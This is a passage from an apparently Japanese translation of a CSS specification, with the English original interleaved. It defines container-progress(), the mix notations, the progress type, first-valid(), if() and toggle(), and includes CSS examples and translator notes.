妥当な`~size特能$を識別している
</li>
	<li>
［
%始端~値, %終端~値
］は、
%特能 用の妥当な値を指定している
</li>
	<li>
« %始端~値, %終端~値 » は、
`一貫した型を有して$いる
</li>
</ul>
◎
The specified &lt;mf-name&gt; must be a valid size feature, the specified progress start value and progress end value must be valid values for that size feature, and both calculation values must have a consistent type, or else the function is invalid.＼
</div>

<p>
`container-progress$f は、
~prop値の文脈~内に限り，妥当になる
— 他（例：`媒体~query$）では、
利用できない。
◎
container-progress() is only valid in a property value context; it cannot be used in, for example, a media query.
</p>

<p>
［
%始端~値, %終端~値
］は、
%特能 に指定されたとおりに解釈される
（当の関数を利用している文脈により指定されたとおりではなく）。

適切な容器が見出されなかった場合、
%特能 の値【！ `size-feature$t ~query】は，`小さい表示域~size$を~~基準に解決される。
◎
The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in). If no appropriate containers are found, container-progress() resolves its &lt;size-feature&gt; query against the small viewport size.
</p>

<p>
`container-progress$f 【！media-progress()】の値は、
`進捗~関数を計算する$ことにより決定される `number$t になる。
◎
The value of media-progress() is a &lt;number&gt;, determined by calculating a progress function.
</p>

<p class="note">注記：
`container-progress$f は、
`number$t に評価される関数に過ぎず，`~math関数$`ではない^em。
◎
Note: container-progress() is not a math function; it’s just a function that evaluates to a &lt;number&gt;.
</p>

		</section>
	</section>
	<section id="mixing">
<h2 title="Mixing and Interpolation Notations: the *-mix() family">6. 混合-法と補間~記法： `*-mix^f 族</h2>

<p class="issue">
この特能は、
`複数個の~breakpointをきちんと取扱えない＠https://css.typetura.com/ruleset-interpolation/explainer/$ので，`設計し直す必要があるかもしれない＠~CSSissue/6245#issuecomment-2469190377$。
[`6245$issue]
◎
This feature does not handle multiple breakpoints very well, and might need to be redesigned. [Issue #6245]
</p>

<div>
<p>
~CSSにおける いくつかの
`混合-記法@
は、［
`混合-始端~値@
,
`混合-終端~値@
の合間における ある地点までの進捗
］を与える
`混合-進捗~値@
への補間を表現することを許容する。
これらの`関数-記法$は、
次の構文-~patternに従う：
</p>

<pre class="prod">
%混合-関数()
	= %混合-関数( `progress$t, `混合-始端~値$, `混合-終端~値$ )
</pre>
◎
Several mix notations in CSS allow representing the interpolation of two values, the mix start value and the mix end value, at a given point in progress between them (the mix progress value). These functional notations follow the syntactic pattern:
◎
mix-function() = mix-function( &lt;progress&gt;, start-value, end-value )
</div>

<p>
~CSSにおける`混合-記法$には、
次に挙げるものがある：
◎
The mix notations in CSS include:
</p>
<ul>
	<li>
`calc-mix$f
⇒
`calc$f 式~内で表現-可能な次元
— `length$t, `percentage$t, `time$t など —
の補間-用
◎
calc-mix(), for interpolating &lt;length&gt;, &lt;percentage&gt;, &lt;time&gt;, and other dimensions representable in calc() expressions
</li>
	<li>
`color-mix$f
⇒
`color$t 値の補間-用
◎
color-mix(), for interpolating two &lt;color&gt; values
</li>
	<li>
`cross-fade$f
⇒
`image$t 値の補間-用
◎
cross-fade(), for interpolating &lt;image&gt; values
</li>
	<li>
`palette-mix$f
⇒
`font-palette$p 値の補間-用
◎
palette-mix(), for interpolating two font-palette values
</li>
	<li>
汎用な `mix$f
⇒
どの~propに対しても，その値の補間を表現できる
— ただし、
~propの値を成す個々の成分ではなく，値~全体を成す場合に限る。
◎
and finally the generic mix() notation, which can represent the interpolation of any property’s values (but only the property’s entire value, not individual components).
</li>
</ul>

<p class="note">注記：
`cross-fade$f 記法にも，［
3 個~以上の値を混合することを許容する代替な構文
］があるが、
それらは，より複階的な `progress$t を成す式を許容しない。
◎
Note: The cross-fade() notation also has an alternative syntax that allows for mixing more than two values, but does not allow for the more complex expressions of &lt;progress&gt;.
</p>

<p class="issue">
`mix$f 記法には、
~keyframeたちが成す集合をとる変種もある。
それは、［
ある `keyframes$at 規則を参照rして，そこから対応している~prop宣言を取り出す
］ことにより，これを行う。
他の混合-記法も~keyframeを許容するようになれば良さそうだが、
~keyframeたちが成す集合を（~propの全部的な値ではなく）`成分~値$用にどう表現するか？
◎
The mix() notation also has a variant that takes a set of keyframes. It does this by referring to an @keyframes rule, and pulling the corresponding property declaration out of that. It would be nice to allow the other mix notations to take keyframe also, but how would we represent a set of keyframes for a component value (rather than a full property value)?
</p>

		<section id="progress-type">
<h3 title="Representing Interpolation Progress: the &lt;progress&gt; type">6.1. 補間~進捗の表現-法： `progress^t 型</h3>

<p>
`progress@t
型の値は、
`混合-記法$を成す`混合-進捗~値$を表現する。
それは、最終的に百分率に解決されるが，
媒体~queryや~animation時列線などの~sourceから取り出した百分率~値を
— 補間~用に利用する前に —
`~easing関数$を通して変換できる。
◎
The &lt;progress&gt; value type represents the mix progress value in a mix notation, and ultimately resolves to a percentage. It can, however, draw that percentage value from sources such as media queries and animation timelines, and can also convert it through an easing function before using it for interpolation.
</p>

<p>
その構文は：
◎
Its syntax is defined as follows:
</p>

<pre class="prod">
`progress$t
	= [ `percentage-token$t | `number$t | `animation-timeline$tp ] &amp;&amp; [ by `easing-function$t ]?
</pre>

<p>
ここで：
◎
where:
</p>

<dl class="valdef">
	<dt id="valdef-progress-percentage-token">`percentage-token$t</dt>
	<dd>
等価な `number$t に算出される
— `0%^v は `0^v になり, `100%^v は `1^v になる, 等々。
◎
Computes to the equivalent &lt;number&gt;: 0% becomes 0, 100% becomes 1, etc. 
</dd>
	<dd class="note">注記：
これは、
`15%^v の様な~literalな百分率しか許容しない。
`calc(100% / 7)^v の様な計算式は、
働かないことになる
— それは、
代わりに，［
百分率を別の型（ `width$p における `length$t など）を~~基準に解決するための通常の規則
］を利用するよう試みるので。
代わりに `calc(1 / 7)^v の様な式を利用すること。
◎
Note: This only allows literal percentages, like 15%; calculations like calc(100% / 7) will not work, as they will instead attempt to use the normal rules for resolving a percentage against another type (such as &lt;length&gt;, in width). Use expressions like calc(1 / 7) instead.
</dd>

	<dt id="valdef-progress-number">`number$t</dt>
	<dd>
`混合-進捗~値$を表現する。
◎
Represents the mix progress value. 
</dd>
	<dd class="note">注記：
これは、［
`progress$f／
`media-progress$f／
`container-progress$f
］記法の利用を許容することに注意。
◎
Note: This allows the use of the progress(), media-progress(), and container-progress() notations.
</dd>

	<dt id="valdef-progress-animation-timeline">`animation-timeline$tp</dt>
	<dd>
指定された`~animation時列線＠~WANIM#timelines$の進捗†として`混合-進捗~値$を表現する。
ただし，値［
`none＠~CSSANIM2#valdef-animation-timeline-none$v,
`auto＠~CSSANIM2#valdef-animation-timeline-auto$v
］は妥当でない。
`CSS-ANIMATIONS-2$r
`WEB-ANIMATIONS-2$r
◎
Represents the mix progress value as the progress of the specified animation timeline. The values none and auto, however, are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2]
</dd>
	<dd class="trans-note">【†
`開始-時刻$から`終止-時刻$までにおける`現-時刻$の進捗~率を表すように思われるが、
はっきりしない。
】</dd>

	<dt id="valdef-progress-easing-function">`easing-function$t</dt>
	<dd>
指定された`~easing関数$ `CSS-EASING-1$r を利用して，
指定された入力`混合-進捗~値$を出力`混合-進捗~値$へ変換する。
◎
Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1]
</dd>
</dl>

<p class="note">注記：
［
`0^v 以上 `1^v 以下
］でない進捗~値も妥当であり、［
始端~値, 終端~値
］により定義される範囲を超える補間を表現することを許容する。
◎
Note: Progress values below 0 and above 1 are valid; they allow representing interpolation beyond the range defined by the start and end values.
</p>

<p class="note">注記：
`progress$t 自体は，
`percentage$t であり得るが、［
`progress$f の様な `number$t へ`解決され^emる関数を等価な `number$t へ直に対応付ける
］ときは， `percentage$t を当の文脈~用の通常の規則を利用して解決する。
例えば、
`width$p においては，ある長さを~~基準に解決されることになる。
◎
Note: While &lt;progress&gt; itself can be a &lt;percentage&gt;, mapping directly to the equivalent &lt;number&gt;, a function that resolves to a &lt;number&gt;, like progress(), resolves &lt;percentage&gt;s using the normal rules for the context; for example, in width, they would be resolved against a length.
</p>

<p>
`progress$t 値の`算出d値$は、［
`percentage$t ／ `number$t
］を伴って指定された場合は `number^t の算出d値になり，
`animation-timeline$tp を伴って指定された場合には
`animation-timeline$tp の算出d値になる
— いずれも、
`easing-function$t が与えられた場合は，それを通して変換される。
◎
The computed value of a &lt;progress&gt; value specified with &lt;percentage&gt; or &lt;number&gt; is the computed &lt;number&gt; converted through the &lt;easing-function&gt; (if any). The computed value of a &lt;progress&gt; value specified with &lt;'animation-timeline'&gt; is the computed &lt;'animation-timeline'&gt; and &lt;easing-function&gt; (if any).
</p>

		</section>
		<section id="calc-mix">
<h3 title="Interpolated Numeric and Dimensional Values: the calc-mix() notation">6.2. 補間された数量-値： `calc-mix^f 記法</h3>

<p>
`calc-mix@f
`混合-記法$
は、
補間された数量-値（次元を伴い得る数）を表現する。
【！Like `calc$f 】
それは、
次の構文-形を伴う`~math関数$である：
◎
The calc-mix() mix notation represents an interpolated numeric or dimensional value. Like calc(), it is a math function, with the following syntactic form:
</p>

<pre class="prod">
`calc-mix()@t
	= calc-mix( `progress$t, `calc-sum$t, `calc-sum$t )
</pre>

<p>
入力を成す 2 つの`計算式$ %計算式たち は、
それを成す各~計算式は［
`number$t, `dimension$t, `percentage$t
］いずれにも解決され得るが，
%計算式たち は`一貫した型を有して$いなければナラナイ
— さもなければ、
当の関数は無効になる。
当の関数の`型$は、
次の結果になる
⇒
`型を入力と一貫させる$( %計算式たち の`一貫した型$, 入力を成す `progress$t 値の`型$ )
◎
The &lt;calc-sum&gt; arguments can resolve to any &lt;number&gt;, &lt;dimension&gt;, or &lt;percentage&gt;, but must have a consistent type or else the function is invalid. The result’s type will be the consistent type, made consistent with the type of the &lt;progress&gt; value.
</p>

<p>
妥当な `calc-mix$f の：
◎
↓</p>
<ul>
	<li>
`使用~値$は、
所与の 2 個の `calc-sum$t 値を所与の `progress$t による進捗へ補間した結果になる。
◎
The used value of a valid calc-mix() is the result of interpolating these two values to the progress given by &lt;progress&gt;.＼
</li>
	<li>
<p>
`算出d値$は：
</p>
		<ul>
			<li>
所与の `progress^t が ある `number$t 値 %進捗 に算出できる場合、
所与の 2 個の `calc-sum$t の算出d値 ( %A, %B ) を %進捗 へ補間した結果になる
（言い換えれば、
%A ~PLUS ( %B ~MINUS %A ) ~MUL %進捗
になる）。
</li>
			<li>
他の場合、
そのまま `calc-mix^f 記法になるが，
その各~引数は各自の型に則って算出される。
</li>
		</ul>
◎
If the &lt;progress&gt; value can be computed to a &lt;number&gt;, then the computed value is likewise the result of interpolating the two computed values to that &lt;progress&gt; value (in other words, A * (1-progress) + B * progress) it is otherwise the calc-mix() notation itself with its arguments each computed according to their type.
</li>
</ul>

		</section>
		<section id="color-mix">
<h3 title="Interpolated Color Values: the color-mix() notation">6.3. 補間された色~値： `color-mix^f 記法</h3>

<p>
この仕様は、
`color-mix$f `関数-記法$を［
次の構文【を成す 1 個目の `color-mix^f 】を受容する`混合-記法$
］で拡張する：
◎
This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:
</p>

<pre class="prod">
`color-mix$f
	= color-mix( [ `progress$t &amp;&amp; `color-interpolation-method$t? ], `color$t, `color$t )
	| color-mix( `color-interpolation-method$t, [`color$t &amp;&amp; `percentage [0,100]$t?]#{2} )
</pre>

<p>
1 個目の `color-mix^f 記法の使用~値は、［
所与の `progress$t 値を `percentage$t で表す値 %進捗
］を［
2 個目の `color-mix^f 内の 2 個目の `color$t 引数に伴われる `percentage$t
］にアテガうことと等価になる。
<span class="note">
すなわち、
<code class="value">color-mix( %進捗, %色, %もう一つの色 )</code>
は，
<code class="value">color-mix(…†, %色, %もう一つの色 %進捗 )</code>
と等価になる。
</span>
2 個目の `color-mix^f 用の規範的な定義は、
`CSS-COLOR-5$r `§ 色の混合-法＠~CSSCOLOR5#color-mix$
を見よ。
◎
The used value of the first mix notation variant is equivalent to assigning the &lt;progress&gt; value, as a &lt;percentage&gt;, to the &lt;percentage&gt; of the second &lt;color&gt; argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant.
</p>

<p class="trans-note">【†
`color-interpolation-method$t を省略した場合の挙動が不明
（本当は省略可能でない？）。
】</p>

<p class="issue">
`progress$t は［
0% 以上 100% 以下
］の外側にある百分率を返すことを許容するが、
【 2 個目の】 `color-mix$f は そのような値を許容しないので，
それをどう処理するか定義する必要がある。
◎
&lt;progress&gt; allows returning percentages outside 0-100%, but color-mix() doesn’t allows such values, so need to define how that gets processed.
</p>

		</section>
		<section id="cross-fade">
<h3 title="Interpolated Image Values: the cross-fade() notation">6.4. 補間された 画像~値： `cross-fade^f 記法</h3>

<p>
この仕様は
`cross-fade$f `関数-記法$を［
次の構文【を成す 1 個目の `cross-fade^f 】を受容する`混合-記法$
］で拡張する：
◎
This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:
</p>

<pre class="prod">
`cross-fade$f
	= cross-fade( `progress$t, [ `image$t | `color$t ], [ `image$t | `color$t ] )
	| cross-fade( `cf-image$t# )
</pre>

<p>
1 個目の `cross-fade^f の`使用~値$は、［
所与の `progress$t 値を `percentage$t で表す値 %進捗
］を［
2 個目の `cross-fade^f 内の 2 個目の `cf-image$t 【！`color^t】引数を成す `percentage$t
］にアテガうことと等価になる。
<span class="note">
すなわち、
<code class="value">cross-fade( %進捗, %画像, %もう一つの画像 )</code>
は，
<code class="value">cross-fade( %画像, %もう一つの画像 %進捗 )</code>
と等価になる。
</span>
2 個目の `cross-fade^f 用の規範的な定義は、
`CSS-IMAGES-4$r `§ 画像の組合n＠~CSSIMAGE4#cross-fade-function$
を見よ。
◎
The used value of the first mix notation variant is equivalent to assigning the &lt;progress&gt; value as the &lt;percentage&gt; of the second &lt;color&gt; argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant.
</p>

		</section>
		<section id="transform-mix">
<h3 title="Interpolated Transform Values: the transform-mix() notation">6.5.  補間された変形~値： `transform-mix^f 記法</h3>

<p>
`transform-mix@f
`混合-記法$は、
`補間-＠~TRANSFORM#interpolation-of-transforms$された `transform-list$t を表現する。
それは、
次の構文-形を伴う：
◎
The transform-mix() mix notation represents an interpolated &lt;transform-list&gt;, with the following syntactic form:
</p>

<pre class="prod">
`transform-mix()@t
	= transform-mix( `progress$t, `transform-list$t, `transform-list$t )
</pre>

<p>
妥当な `transform-mix$f の：
◎
↓</p>
<ul>
	<li>
`使用~値$は、
所与の 2 個の `transform-list$t 値を所与の `progress$t による進捗へ補間した結果になる。
◎
The used value of a valid transform-mix() is the result of interpolating these two values to the progress given by &lt;progress&gt;.＼
</li>
	<li>
<p>
`算出d値$は：
</p>
		<ul>
			<li>
［
所与の `progress^t が `percentage$t に【！can be】算出される
］かつ［
所与の 2 個の `transform-list$t を使用~値の時点での情報なしに補間できる
］場合、
所与の 2 個の `transform-list$t の算出d値を所与の `progress^t 値へ補間した結果になる。
</li>
			<li>
他の場合、
そのまま `transform-mix^f 記法になるが，
その各~引数は各自の型に則って算出される。
</li>
		</ul>
◎
If the &lt;progress&gt; value can be computed to a &lt;percentage&gt;, and the &lt;transform-list&gt;s can be interpolated without used-value-time information, then the computed value is likewise the result of interpolating the two computed values to that &lt;progress&gt; value; it is otherwise the transform-mix() notation itself with its arguments each computed according to their type.
</li>
</ul>

<p>
`transform-mix$f 自身は、
`transform-function$t である。
◎
transform-mix() is, itself, a &lt;transform-function&gt;.
</p>

<p class="trans-note">【
`transform-list^t どうしを補間した結果は，
一般に変形~関数たちが成す~listになるので、
これは不正確に見えるが、
~listを成す変形~関数をすべて累積した結果を成す 1 個の `transform-function^t として解釈されるのかもしれない。
】</p>

		</section>
		<section id="mix">
<h3 title="Interpolated Property Values: the mix() notation">6.6. 補間された~prop値： `mix^f 記法</h3>

<p>
所与の~prop用の 2 個の値の`補間$は、
`mix@f
`混合-記法$により表現できる
— それは、
2 つの代替な構文~patternを~supportする：
◎
Interpolation of any two property values can be represented by the mix() mix notation, which supports two alternative syntax patterns:
</p>

<pre class="prod">
`mix()@t
	= mix( `progress$t , `whole-value$t? , `whole-value$t? )
	| mix( `progress$t &amp;&amp; of `keyframes-name$t )
</pre>

<p>
1 個目の構文~代替は、
他の`混合-記法$と同様に，［
`混合-始端~値$を与える 1 個目の `whole-value$t,
`混合-終端~値$を与える 2 個目の `whole-value$t
］の合間において補間する。
2 個目の構文~代替は、
より複階的な補間~曲線を許容するため†，
~keyframeたちが成す集合††から対応している~prop宣言†††たちを`混合-進捗~値$を利用して補間する。
◎
The first syntax alternative, like other mix notations, interpolates between the first &lt;whole-value&gt; (its mix start value) and the second &lt;whole-value&gt; (its mix end value). The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes, allowing for more complex interpolation curves.
</p>

<p class="trans-note">【††
`keyframes-name$t で識別される `keyframes$at 規則を成す`~keyframe~style規則$たちを指すと思われる。
】【†††
この関数を値に利用している~propと同じ名前を伴う~prop宣言を指すと思われる。
】【†
各~keyframeにて指定された［
`~keyframe選択子$／`~easing関数$
］も織り込まれることを意図していると思われる。
】</p>

<p>
`mix$f の`算出d値$は、
次に従う：
◎
↓</p>
<ul>
	<li>
1 個目の “標準な” `mix^f 記法で指定されていて，［
2 個の `whole-value$t が，それを指定した~prop用の値として補間-可能である
］かつ［
補間した結果は `mix$f を伴わずに表現できる
］場合
⇒
それら 2 個の値を［
`progress$t により与えられた進捗
］へ補間した結果になる。
◎
For the standard mix notation variant, if the two &lt;whole-value&gt;s being interpolated by mix() are interpolable as values for the property in which it is specified, and the interpolated value can be represented without mix(), the computed value of mix() is the result of interpolating these two values to the progress given by &lt;progress&gt;.＼
</li>
	<li>
<p>
他の場合
⇒
そのまま `mix^f `関数-記法$になるが、
その引数のうち
`progress$t 値は算出され，
`whole-value$t は（供されたなら）［
当の~prop用の値
］として算出される。
</p>

<p class="trans-note">【
2 個目の `mix^f 記法で指定された場合も，この場合に含まれるように思われる。
】</p>

◎
Otherwise, the computed value of mix() is the mix() functional notation itself with its &lt;progress&gt; value computed and its &lt;whole-value&gt;s (if provided) computed as values for this property.
</li>
</ul>

<div class="example">
<p>
`mix$f の利用のうちほとんどは、
算出d値の時点で解決されることになる：
◎
For example, most uses of mix() will resolve at computed-value time:
</p>

<pre class="lang-css">
color: mix(90%, red, blue);
/* <span class="comment">
は、
単純な補間を介して，次に算出される：
◎
via simple interpolation, computes to:
</span> */
color: rgb(10% 0 90%);

color: mix(90%, currentcolor, black);
/* <span class="comment">
算出d値の時点では全部的に解決し得ないが、
それでも，定義された表現がある：
◎
can’t be fully resolved at computed-value time, but still has a defined representation:
</span> */
color: color-mix(currentcolor 90%, black 10%);

float: mix(90%, left, right);
/* <span class="comment">
離散的に~animate可能
◎
discretely animatable
</span> */
float: right;
</pre>

<p>
が、
少数の事例では，中間的な表現は無い：
◎
But a few cases don’t have an intermediate representation:
</p>

<pre class="lang-css">
transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));
/* <span class="comment">
2 つの関数は合致しないので，
`matrix^f を介して補間されることになるが、
`translate^f は百分率を伴うので，
`matrix^f に転換するためには~layout情報が必要になる。
なので、
補間した値を実際には表現し得ない。
その結果、
次【の様な形】に算出される：
◎
because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the interpolated value can’t actually be represented. Computes to:
</span> */
transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));
transform: mix(90% of ripple);
</pre>
</div>

<p>
`mix$f 記法は、
`whole-value$t である。
加えて、
いずれかの `whole-value$t 引数が`~animate不可$である場合，当の記法は無効になる。
◎
The mix() notation is a &lt;whole-value&gt;. Additionally, if any of its &lt;whole-value&gt; arguments are not animatable, the notation is invalid.
</p>

<div class="example">
<p>
例えば，次に挙げる宣言は、
どれも無効になり，無視されることになる:
◎
For example, the following declarations are invalid, and will be ignored:
</p>

<pre class="lang-css">
/* <span class="comment">
始端~値が妥当でない
◎
Invalid start value
</span> */
color: mix(90%, #invalid, #F00);

/* <span class="comment">
`mix^f 関数が~propの値~全体を成していない
◎
Function is mixed with other values
</span> */
background: url(ocean) mix(10%, blue, yellow);

/* <span class="comment">
`animation-*^p は~animate可能でない
◎
'animation-*' is not animatable
</span> */
animation-delay: mix(0%, 0s, 2s);
</pre>
</div>

		</section>
	</section>
	<section id="value-insert">
<h2 title="Miscellaneous Value Substituting Functions">7. 値が代入される諸々の関数</h2>

		<section id="whole-value">
<h3 title="Representing An Entire Property Value: the &lt;whole-value&gt; type">7.1. ~prop値~全体の表現-法： `whole-value^t 型</h3>

<p>
この仕様が定義するいくつかの関数は、
所与の~propの “値~全体を成す” 場合にしか利用できない。
例えば、
`background-position:toggle(50px 50px, center)$p は妥当であるが，
`background-position:toggle(50px, center) 50px^p は妥当でない。
`whole-value$t 生成規則は、
そのような値を表現する。
◎
Several functions defined in this specification can only be used as the "whole value" of a property. For example, background-position: toggle(50px 50px, center); is valid, but background-position: toggle(50px, center) 50px; is not. The &lt;whole-value&gt; production represents these values.
</p>

<p>
すべての~propは、
その値~全体として `whole-value$t を暗黙的に受容する
— `~CSS全域~keyword$を値~全体として受容するのと同じく。
◎
All properties implicitly accept a &lt;whole-value&gt; as their entire value, just as they accept the CSS-wide keywords as their entire value.
</p>

<p>
`whole-value$t が，ある関数の成分~値【引数】として利用されたときも、［
当の関数を利用した~propの値~全体を成すものとして，通常は妥当になる~CSS値
］を表現する
（追加的な `whole-value$t 関数
【当の関数の引数として利用された関数のうち `whole-value$t を引数に含むもの？】
も含めて）。
しかしながら、
関数によっては，［
`whole-value$t 引数が含み得るもの
］は制約され得る。
◎
When used as a component value of a function, &lt;whole-value&gt; also represents any CSS value normally valid as the whole value of the property in which it is used (including additional &lt;whole-value&gt; functions). However, some functions may restrict what a &lt;whole-value&gt; argument can include.
</p>

		</section>
		<section id="first-valid">
<h3 title="Selecting the First Supported Value: the first-valid() notation">7.2. ~supportされる最初の値の選定-法： `first-valid^f 記法</h3>


<p>
~CSSは、
前方-互換な構文解析により漸進的な増補を~supportする。
作者は，~style規則~内で同じ~propを複数回
— 各~回に異なる値を利用しながら —
宣言でき、
~CSS~UAは，
それらのうち自身が解する最後のものを自動的に利用して，それ以外を棄てる。
この原則は、
`supports$at 規則との~~併用により，［
旧い~UA, 新たな~UAどちらでも きちんと働く~stylesheetを書く
］ことを作者に許容する。
◎
CSS supports progressive enhancement with its forward-compatible parsing: authors can declare the same property multiple times in a style rule, using different values each time, and a CSS UA will automatically use the last one that it understands and throw out the rest. This principle, together with the @supports rule, allows authors to write stylesheets that work well in old and new UAs simultaneously.
</p>

<p>
しかしながら、
`var$f 関数（あるいは、構文解析した後に解決される類似な代入~関数【`任意-代入~関数$】）の利用は，
この機能性を~~妨げる
— それらを利用する【！such】どの~propも，構文解析-時点では妥当と見做すことが要求されるので。
◎
However, using var() (or similar substitution functions that resolve after parsing) thwarts this functionality; CSS UAs must assume any such property is valid at parse-time.
</p>

<p>
`first-valid@f
`関数-記法$は、
~fallback用の挙動を宣言の中に
— その構文解析に内在的になるよう —
~inline化する。
ほとんどの記法と違って、
その各~引数は，妥当な構文も妥当でない構文も受容する
— それは、
各~引数のうち，次を満たす最初のものを表現する
⇒
この記法を利用した~propの値~全体を成していたとするとき，
~UAにより~supportされる
（妥当な値として構文解析される）
◎
The first-valid() functional notation inlines the fallback behavior intrinsic to parsing declarations. Unlike most notations, it can accept any valid or invalid syntax in its arguments, and represents the first value among its arguments that is supported (parsed as valid) by the UA as the whole value of the property it’s used in.
</p>

<pre class="prod">
`first-valid()@t
	= first-valid( `declaration-value$t# )
</pre>

<p>
どの引数も当の~prop用の妥当な値を表現しない場合、
当の~propは，`算出d値の時点で無効$になる。
◎
If none of the arguments represent a valid value for the property, the property is invalid at computed-value time.
</p>

<p>
`first-valid$f は `whole-value$t である。
◎
first-valid() is a &lt;whole-value&gt;.
</p>

<p class="issue">
これは異なる名前にするべきか？
— この関数を追加するものと解決されるまで，
【どう命名するか】裁定し切れなかった。
◎
Should this have a different name? We didn’t quite decide on it during the resolution to add this.
</p>

<p class="note">注記：
`first-valid$f が［
その引数として実質的には `whole-value$t をとるにもかかわらず，
`declaration-value$t をとる
］ものと定義されるのは、
定義により，［
`その値は、それをとる宣言~用には妥当でないかもしれない^em
］事例で利用されることが意図されるので。
`declaration-value$t は、
それが合致するものに対し
— `whole-value$t と違って —
文脈に応じた妥当性の拘束を何も課さない。
◎
Note: Despite effectively taking &lt;whole-value&gt;s as its argument, first-valid() is instead defined to take &lt;declaration-value&gt;s because, by definition, it’s intended to be used in cases where its values might be invalid for the declaration it’s in. &lt;declaration-value&gt; imposes no contextual validity constraints on what it matches, unlike &lt;whole-value&gt;.
</p>

		</section>
		<section id="if-notation">
<h3 title="Conditional Value Selection: the if() notation">7.3. 条件付きな値の選定： `if^f 記法</h3>

<p>
`if@f
記法は、
条件付きな値たちを表現する`任意-代入~関数$である。
それは、［
~semicolonで分離された言明たちが成す【！有順序な】~list
］を引数にとる。
各~言明は、
順に［
条件,
1 個の~colon,
値
］からなる。
`if$f 記法は、
引数~listを成す条件のうち `真^i に評価されるものは［
在るならば，それらのうち最初のものに対応する値／
無いならば，空な~token~stream
］を表現する。
◎
The if() notation is an arbitrary substitution function that represents conditional values. Its argument consists of an ordered semi-colon–separated list of statements, each consisting of a condition followed by a colon followed by a value. An if() notation represents the value corresponding to the first condition in its argument list to be true; if no condition matches, then the if() notation represents an empty token stream.
</p>

<p>
`if$f 記法の構文は：
◎
The if() notation syntax is defined as follows:
</p>

<pre class="prod">
`if()@t
	= if(
		[ `if-condition$t : `declaration-value$t? ; ]*
		`if-condition$t : `declaration-value$t? ;?
	)
`if-condition@t
	= `boolean-expr[ &lt;if-test&gt; ]$t
	| `else$v
`if-test@t
	= supports( [ `ident$t : `declaration-value$t ] | `supports-condition$t )
	| media( `media-feature$t | `media-condition$t )
	| style( `style-query$t )
</pre>

<p>
~keyword
`else@v
は、
常に `真^i に評価される条件を表現する。
◎
The else keyword represents a condition that is always true.
</p>

<div class="algo">
<p>
<dfn id="resolve-an-if-function">`if$f 関数 %関数 用に`任意-代入~関数を解決する$</dfn>
~algoは：
</p>
<ol>
	<li>
%関数 を成す
~EACH( `if-condition$t %条件 )
に対し
⇒
~IF［
%条件 は `真^i に評価される
］
⇒
~RET ( %条件 に結付けられた <code class="prod">`declaration-value$t?</code>, ε )
</li>
	<li>
~RET ( 空な~token~stream, ε )
</li>
</ol>
◎
To resolve an if() function, return the &lt;declaration-value&gt;? associated with the first &lt;if-condition&gt; that is true; if none are true, return nothing (an empty token stream).
</div>

<p class="note">注記：
［
`media$at ／ `supports$at ／ `container$at
］規則は，その条件が `偽^i に評価されたときには［
その内容は無視されるだけになり，
値として何を適用するかを~cascadeに決定させる
］が、
それとは違って， `if$f を伴う宣言は、
条件が `偽^i に評価されても，~cascadeは巻戻されない
— ~fallback値は、
【必要なら， `if$f の他に】
~inlineに供する必要がある【！must】。
◎
Note: Unlike using @media/@supports/@container rules, which just ignore their contents when they’re false and let the cascade determine what values otherwise apply, declarations with if() do not roll back the cascade if the conditions are false; any fallback values must be provided inline.
</p>

		</section>
		<section id="toggle-notation">
<h3 title="Toggling Between Values: the toggle() notation">7.4. 一連の値の~toggle法： `toggle^f 記法</h3>

<p>
`toggle@f
式は、
子孫~要素たちが
— 同じ値を継承する代わりに —
~listを成す各~値を巡回することを許容する。
◎
The toggle() expression allows descendant elements to cycle over a list of values instead of inheriting the same value.
</p>

<div class="example">
<p>
次の例は、
`em^e 要素を一般には~italic体にしつつ，~italic体の内側では~normal体に戻す：
◎
The following example makes &lt;em&gt; elements italic in general, but makes them normal if they’re inside something that’s italic:
</p>
<pre class="lang-css">
em { font-style: toggle(italic, normal); }
</pre>
</div>

<div class="example">
<p>
次の例は、
入子な~list用に，~markerたちを巡回する。
~marker図形は、
~top-levelの~listにおいては `disc＠~CSSCOUNTER#disc$v になり，
その中に入子にされた~listにおいては
— 階が深まるごとに —
順に［
`circle＠~CSSCOUNTER#circle$v,
`square＠~CSSCOUNTER#square$v,
`box^v
］になり，
（ 5 階の深さで）再び `disc^v から開始するようになる。
◎
The following example cycles markers for nested lists, so that a top level list has disc-shaped markers, but nested lists use circle, then square, then box, and then repeat through the list of marker shapes, starting again (for the 5th list deep) with disc.
</p>

<pre class="lang-css">
ul { list-style-type: toggle(disc, circle, square, box); }
</pre>
</div>

<p>
`toggle$f 式の構文は：
◎
The syntax of the toggle() expression is:
</p>

<pre class="prod">
`toggle()$t
	= toggle( `whole-value$t# )
</pre>

<p>
`toggle$f 記法は、
`whole-value$t である。
しかしながら、
入子にできないことに加え，［
`attr$f ／ `calc$f
］記法も包含できない
— そのような構成子を包含している宣言は無効になる。
◎
The toggle() notation is a &lt;whole-value&gt;. However, it is not allowed to be nested, nor may it contain attr() or calc() notations; declarations containing such constructs are invalid.
</p>

<div class="example">
<p>
次に挙げる `toggle$f 式は、
どれも無効になる：
◎
The following toggle() examples are all invalid:
</p>

<pre class="lang-css">
background-position: 10px toggle(50px, 100px);
/* <span class="comment">
`toggle$f は~propの値~全体を成していなければナラナイ。
◎
toggle() must be the sole value of the property
</span> */

list-style-type: toggle(disc, 50px);
/* <span class="comment">
`50px^v は `list-style-type$p 用の妥当な値でない。
◎
''50px'' isn’t a valid value of 'list-style-type'
</span> */
</pre>
</div>

<div class="algo">
<p>
`toggle$f 式 %式 の`算出d値$は、
次に従って決定される：
</p>
<ol>
	<li>
%最初の値 ~LET ε
</li>
	<li>
%初回の反復か ~SET ~F
</li>
	<li>
%前回の反復で合致したか ~SET ~F
</li>
	<li>
<p>
%式 の
